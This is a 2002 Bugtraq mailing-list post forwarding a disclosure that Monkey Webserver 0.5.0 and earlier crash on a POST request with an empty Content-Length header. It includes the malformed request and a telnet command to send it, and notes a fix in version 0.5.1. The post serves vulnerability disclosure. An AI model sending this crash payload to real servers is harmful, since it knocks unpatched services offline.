[27717] in bugtraq
Bug in Monkey Webserver 0.5.0 or minors versions
daemon@ATHENA.MIT.EDU (Daniel)
Tue Nov 5 17:13:28 2002
Date: Sun, 3 Nov 2002 23:21:42 -0300
From: Daniel <keziah@uole.com>
To: bugtraq@securityfocus.com
Message-ID: <20021104022142.GB15457@house>
Reply-To: Daniel <keziah@uole.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Hi all:
Recently Edgardo Silva sents me this message:
> In version <= 0.5.0, Monkey can crash following the next steps:
> 1) create a file named 'post_crash.txt'
> 2) Insert the next info inside the file:
>
> ---------- cut here -----------
> POST / HTTP/1.1
> Host: 127.0.0.1:2001
> Content-Length:
> ---------- cut here -----------
>
> 3) later, from the shell run the next command:
>
> cat post_crash.txt | telnet 127.0.0.1 2001
>
> this bug we can find in 'Post_Method(..) function from the
> method.c file, this bug has been fixed in the 0.5.1 version of monkey.
>
> Regards.-
>
> Eduardo Silva P.
> --------------------------
> The Real Monkey
Nos vemos
Daniel
--
Daniel R. Ome | Manantiales de salud son la higiene y la virtud.
Jujuy - R.A. | Refrán.
Linux User 165078 |
